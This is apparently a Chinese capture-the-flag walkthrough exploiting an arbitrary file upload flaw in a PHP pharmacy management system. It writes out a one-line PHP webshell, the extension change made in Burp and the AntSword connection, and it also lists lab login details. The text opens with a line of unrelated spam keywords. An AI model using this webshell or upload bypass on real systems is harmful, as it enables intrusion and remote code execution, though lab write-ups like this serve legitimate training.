怎样做彩票网站代理,做外贸如何建立网站,专业建网站 优帮云,wordpress建站视频教程目录
靶标介绍
开启靶场
上传一句话木马
蚁剑连接
找到 flag 靶标介绍
多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口#xff0c;客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库#xff0…
目录
靶标介绍
开启靶场
上传一句话木马
蚁剑连接
找到 flag 靶标介绍
多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞进而导致任意代码执行。
开启靶场 根据社会工程学方法可得
邮箱mayuri.infospacegmail.com
密码mayurik
登录成功 在这个页面发现了可以上传文件的地方 上传一句话木马
上传一句话木马 1.jpg内容为
?php eval($_POST[cmd]);?
抓包发送到 repeater修改后缀为 php发送请求发现上传成功了看来文件上传点就在这里 检查页面搜索 1.php发现了上传路径是“assets/myimages/1.php” 蚁剑连接
使用 base64 编码 连接成功在根目录下找到了 flag 文件夹 找到 flag
